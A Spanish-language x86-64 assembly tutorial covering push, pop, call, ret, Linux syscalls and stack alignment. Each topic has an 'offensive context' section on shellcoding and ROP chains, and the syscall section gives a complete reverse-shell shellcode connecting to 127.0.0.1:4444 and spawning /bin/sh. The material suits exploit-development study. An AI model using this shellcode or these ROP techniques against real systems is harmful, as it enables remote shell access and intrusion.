Skip to content

Stack, Syscalls y Funciones


push — Meter al stack

¿Qué hace?

Copia el valor al tope del stack y baja rsp en 8 bytes. El valor en el registro queda intacto (es una copia).

Cuándo se usa

  • Preservar registros antes de un call/syscall
  • Construir strings en el stack (shellcoding sin variables)
  • Pasar argumentos extras (más de 6)
  • Construir estructuras en el stack dinámicamente

Ejemplos explicados

nasm
; Preservar registro antes de syscall
push rbx            ; guardar rbx (callee-saved)
; ... syscall que modifica rbx ...
pop rbx             ; restaurar

; rsp baja 8 bytes con cada push:
; antes: rsp = 0x7fff1000
push rax            ; rsp = 0x7fff0ff8, [0x7fff0ff8] = rax
push rbx            ; rsp = 0x7fff0ff0, [0x7fff0ff0] = rbx
; stack: [rbx][rax] ← tope (rsp apunta a rbx)

; Construir "/bin//sh" en el stack (técnica de shellcoding)
push 0              ; null terminator del string
mov rax, '/bin//sh' ; 8 bytes exactos
push rax            ; stack: [0]["/bin//sh"] ← rsp
mov rdi, rsp        ; rdi apunta a "/bin//sh\0"

; Push de valor inmediato (máximo 4 bytes)
push 0x41           ; push byte 'A'
push 0xdeadbeef     ; push dword

Contexto ofensivo

nasm
; String technique — construir cualquier string en el stack sin variables
; Ejemplo: "/bin/sh" para execve
xor rbx, rbx        ; rbx = 0 (null terminator)
push rbx            ; push null terminator
mov rbx, '/bin//sh' ; "/bin//sh" = 8 bytes (/ extra es ignorada)
push rbx
mov rdi, rsp        ; rdi → "/bin//sh\0"

; Técnica de múltiples chunks para strings largos
; "/etc/passwd" = 11 bytes → necesita 2 pushes
xor rbx, rbx
push rbx                ; null terminator
mov rbx, 'asswd'        ; últimos 5 chars + 3 padding
push rbx
mov rbx, '/etc/p'       ; primeros 6 chars + 2 padding  
push rbx
mov rdi, rsp            ; rdi → "/etc/passwd\0"

; Preparar argv[] en el stack para execve
; execve necesita argv = ["/bin/sh", NULL]
xor rax, rax
push rax                ; NULL (fin de argv)
push rdi                ; dirección de "/bin/sh"
mov rsi, rsp            ; rsi → [ptr_a_binsh, NULL]

pop — Sacar del stack

¿Qué hace?

Mueve el valor del tope del stack al destino y sube rsp en 8 bytes. El valor se elimina del stack.

Cuándo se usa

  • Restaurar registros después de un call/syscall
  • Leer valores del stack sin usar mov [rsp]
  • Gadgets de ROP

Ejemplos explicados

nasm
; Restaurar en orden INVERSO al push
push rax
push rbx
push rcx
; ... código ...
pop rcx     ; primero el último que entró
pop rbx
pop rax     ; último el primero que entró

; pop en gdb — ver qué sale del stack
; si quieres leer la return address sin consumirla:
mov rax, [rsp]  ; leer sin consumir
; vs:
pop rax         ; leer Y consumir (rsp sube)

; Gadget clásico de ROP
; "pop rdi; ret" → cargar valor en rdi y continuar ROP chain
pop rdi         ; rdi = valor del stack (controlado por atacante)
ret             ; saltar al siguiente gadget

Contexto ofensivo

nasm
; ROP gadgets más buscados con pop:
; "pop rdi; ret"  → cargar 1er argumento
; "pop rsi; ret"  → cargar 2do argumento
; "pop rdx; ret"  → cargar 3er argumento
; "pop rax; ret"  → cargar syscall number

; Ejemplo de ROP chain para execve("/bin/sh", NULL, NULL):
; (cadena de gadgets en el stack, controlada via overflow)
; [addr pop_rax][59][addr pop_rdi][addr_binsh][addr pop_rsi][0][addr pop_rdx][0][addr_syscall]

; pop + ret para limpiar argumentos del stack (cdecl calling convention)
; en x86 32-bit las funciones dejan args en stack
call funcion
pop rax         ; limpiar argumento 1 del stack
pop rbx         ; limpiar argumento 2
; (en x86_64 esto rara vez es necesario)

call — Llamar función/procedimiento

¿Qué hace?

  1. Push de la dirección de la siguiente instrucción (rip) al stack
  2. Salta al destino

Cuándo se usa

  • Llamar funciones/procedimientos propios
  • Llamar funciones de libc (printf, scanf, etc.)
  • Técnica jmp-call-pop (legacy shellcoding)

Ejemplos explicados

nasm
; call básico
call miFuncion      ; push rip_siguiente; jmp miFuncion
; miFuncion puede usar ret para volver aquí

; El stack durante call:
; antes call: [datos...] ← rsp
; después call: [return_addr][datos...] ← rsp (rsp bajó 8)

; call con registro (dirección dinámica)
mov rax, 0x401234
call rax            ; llamar a la función en 0x401234

; call en programa modular (fib.s):
_start:
    call printMessage
    call initFib
    call loopFib
    call Exit

printMessage:
    ; hacer algo
    ret             ; volver a _start después del call

; Stack alignment con call:
; cada call baja rsp en 8 → debes compensar antes de llamar a libc
sub rsp, 8          ; alinear a 16
call printf
add rsp, 8

Contexto ofensivo

nasm
; call rax — ejecutar shellcode cuya dirección está en rax
; después de mmap():
; rax = dirección de memoria rwx
call rax            ; ejecutar shellcode

; Técnica jmp-call-pop (legacy, menos usada hoy):
; para obtener rip en versiones viejas sin PIE
jmp siguiente
obtener_rip:
    pop rax         ; rax = dirección de 'string' (siguiente byte)
    jmp usar_rax
siguiente:
    call obtener_rip
string: db '/bin/sh', 0

; call como gadget ROP
; "call [reg+offset]" → llamar función de vtable
call [rdi+8]        ; llamar función en vtable+8 (virtual dispatch)
; si controlas el objeto → vtable hijacking

ret — Retornar de función

¿Qué hace?

Pop de la dirección del tope del stack → rip. Básicamente: pop rip.

Cuándo se usa

  • Terminar una función y volver al caller
  • Gadget fundamental de ROP
  • Ajuste de stack alignment (ret sube rsp en 8)

Ejemplos explicados

nasm
; Función normal
miFuncion:
    push rbp
    mov rbp, rsp
    ; ... código ...
    pop rbp
    ret             ; pop [rsp] → rip; rsp += 8

; ret "consume" la return address del stack:
; antes ret: [return_addr][otros datos] ← rsp
; después ret: [otros datos] ← rsp (rsp subió 8)
;              rip = return_addr

; ret como gadget de stack alignment:
; a veces libc necesita rsp alineado a 16 EXACTAMENTE
; si está desalineado, un 'ret' extra lo arregla
; (porque sube rsp en 8, cambiando la alineación)
call ret_gadget     ; este ret sube rsp en 8 sin hacer nada más
call printf

Contexto ofensivo

nasm
; ROP — Return Oriented Programming
; Cada gadget termina en ret
; ret carga el siguiente gadget desde el stack (controlado por atacante)

; Gadget 1: pop rdi; ret
; [stack]: [addr_gadget1][arg_para_rdi][addr_gadget2][arg_gadget2]...
; 1. ret salta a gadget1
; 2. pop rdi carga el primer argumento
; 3. ret salta a gadget2
; ... y así sucesivamente

; ret2libc — técnica clásica
; sobreescribir return address con dirección de system() en libc
; y poner "/bin/sh" como argumento en el stack

; Bypass de stack canary con ret:
; si hay un canary, no puedes sobreescribir directamente
; pero con un info leak que te dé el canary,
; puedes incluirlo en tu overflow y llegar al return address

; ret para alinear stack (muy común en exploits modernos):
; pop rdi; ret  →  cargar arg
; ret           →  solo alinear rsp
; call system   →  ejecutar

Syscalls — Detalle completo

¿Qué es una syscall?

Interfaz entre espacio de usuario y el kernel de Linux. Le dices al kernel qué hacer (rax = número) y con qué (rdi, rsi, rdx...).

Flujo de una syscall

1. mov rax, N      → elegir syscall
2. mov rdi, arg1   → 1er argumento
3. mov rsi, arg2   → 2do argumento
4. mov rdx, arg3   → 3er argumento
5. syscall         → trap al kernel
6. kernel ejecuta
7. rax = resultado (negativo = error)

Syscalls importantes con ejemplos

nasm
; ── read(fd, buf, count) ──
mov rax, 0          ; syscall 0
mov rdi, 0          ; fd = stdin (0)
mov rsi, buffer     ; buffer donde guardar
mov rdx, 100        ; leer máximo 100 bytes
syscall
; rax = bytes leídos, o negativo si error

; ── write(fd, buf, count) ──
mov rax, 1
mov rdi, 1          ; fd = stdout
mov rsi, message
mov rdx, 13
syscall

; ── open(pathname, flags) ──
mov rax, 2
mov rdi, filename   ; "/etc/passwd\0"
xor rsi, rsi        ; O_RDONLY = 0
syscall
; rax = file descriptor (negativo si error)
mov rbx, rax        ; guardar fd

; ── close(fd) ──
mov rax, 3
mov rdi, rbx        ; fd a cerrar
syscall

; ── mmap(addr, len, prot, flags, fd, offset) ──
mov rax, 9
xor rdi, rdi        ; addr = NULL (kernel elige)
mov rsi, 4096       ; tamaño = 1 página
mov rdx, 7          ; prot = rwx (PROT_READ|PROT_WRITE|PROT_EXEC)
mov r10, 0x22       ; flags = MAP_PRIVATE|MAP_ANONYMOUS
mov r8, -1          ; fd = -1 (sin archivo)
xor r9, r9          ; offset = 0
syscall
; rax = dirección de memoria asignada

; ── execve(pathname, argv, envp) ──
mov rax, 59
; rdi = puntero a "/bin//sh\0"
; rsi = puntero a [ptr_binsh, NULL]
; rdx = NULL
syscall

; ── socket(domain, type, protocol) ──
mov rax, 41         ; socket syscall
mov rdi, 2          ; AF_INET
mov rsi, 1          ; SOCK_STREAM (TCP)
xor rdx, rdx        ; protocol = 0 (auto)
syscall
; rax = socket fd

; ── connect(sockfd, addr, addrlen) ──
mov rax, 42
mov rdi, rbx        ; socket fd
mov rsi, sockaddr   ; struct sockaddr_in
mov rdx, 16         ; sizeof(sockaddr_in)
syscall

; ── dup2(oldfd, newfd) ──
; redirigir stdin/stdout/stderr al socket
mov rax, 33
mov rdi, sockfd
mov rsi, 0          ; stdin
syscall
mov rax, 33
mov rdi, sockfd
mov rsi, 1          ; stdout
syscall
mov rax, 33
mov rdi, sockfd
mov rsi, 2          ; stderr
syscall

; ── exit(status) ──
mov rax, 60
xor rdi, rdi        ; exit code 0
syscall

Contexto ofensivo completo — Reverse Shell

nasm
; Reverse shell en ASM puro:
; connect back a 127.0.0.1:4444

global _start
section .text
_start:
    ; socket(AF_INET, SOCK_STREAM, 0)
    mov rax, 41
    mov rdi, 2
    mov rsi, 1
    xor rdx, rdx
    syscall
    mov rbx, rax        ; guardar sockfd

    ; connect(sockfd, {AF_INET, 4444, 127.0.0.1}, 16)
    ; struct sockaddr_in en el stack:
    push 0x0100007f     ; 127.0.0.1 en little-endian
    push word 0x5c11    ; puerto 4444 en big-endian (0x115c)
    push word 0x0002    ; AF_INET = 2
    mov rsi, rsp        ; rsi = puntero a la struct
    mov rax, 42
    mov rdi, rbx
    mov rdx, 16
    syscall

    ; dup2(sockfd, 0/1/2) — redirigir stdin/stdout/stderr
    mov rax, 33
    mov rdi, rbx
    xor rsi, rsi        ; stdin=0
    syscall
    mov rax, 33
    mov rdi, rbx
    mov rsi, 1          ; stdout=1
    syscall
    mov rax, 33
    mov rdi, rbx
    mov rsi, 2          ; stderr=2
    syscall

    ; execve("/bin//sh", ["/bin//sh", NULL], NULL)
    xor rdx, rdx
    push rdx            ; null terminator
    mov rdi, '/bin//sh'
    push rdi
    mov rdi, rsp        ; rdi → "/bin//sh"
    push rdx            ; NULL fin de argv
    push rdi            ; argv[0]
    mov rsi, rsp
    mov rax, 59
    syscall

Stack Alignment — Por qué importa

¿Qué es?

Antes de llamar funciones de libc (printf, scanf, system...), rsp DEBE ser múltiplo de 16, o la función crashea.

Por qué ocurre el desalineamiento

Cada push/call baja rsp en 8 bytes.
Cada pop/ret  sube rsp en 8 bytes.

Si tienes un número impar de push/call sin pop/ret → desalineado.

Cómo calcularlo

nasm
; Contar elementos apilados sin quitar:
; push rax  → +8
; push rbx  → +8
; call func → +8 (push implícito de rip)
; Total: 24 bytes → 24 % 16 = 8 → DESALINEADO

; Para alinear: necesitas llegar a múltiplo de 16
sub rsp, 8  ; total: 32 bytes → 32 % 16 = 0 → ALINEADO ✓

; O simplemente hacer un push extra:
push rax    ; dummy push para alinear
call printf
pop rax     ; limpiar

Ejemplo con printFib

nasm
printFib:
    push rax            ; rsp -= 8  (total: 8 desde frame)
    push rbx            ; rsp -= 8  (total: 16)
    ; + el call a printFib = 8 más = 24 total
    ; 24 % 16 = 8 → DESALINEADO
    ; pero si loopFib también hizo un call:
    ; call loopFib (8) + call printFib (8) + push rax (8) + push rbx (8) = 32
    ; 32 % 16 = 0 → ALINEADO ✓
    mov rdi, outFormat
    mov rsi, rbx
    call printf         ; necesita rsp % 16 = 0
    pop rbx
    pop rax
    ret

Resumen — Patrones en contexto ofensivo

push/pop      → preservar registros + construir strings en stack
call/ret      → funciones + base de ROP chains

Syscalls clave para offensive:
  open  (2)   → leer archivos del sistema
  mmap  (9)   → memoria rwx para shellcode
  execve(59)  → spawn /bin/sh
  socket(41)  → crear socket TCP
  connect(42) → conectar al listener
  dup2  (33)  → redirigir stdin/stdout/stderr al socket
  exit  (60)  → salir limpio sin segfault

Stack alignment:
  contar push/call sin pop/ret
  si impar → sub rsp, 8 antes del call externo
  si par   → ya alineado

ROP:
  cada gadget termina en ret
  ret lee siguiente gadget del stack
  buscados: pop rdi;ret  pop rsi;ret  pop rdx;ret  syscall;ret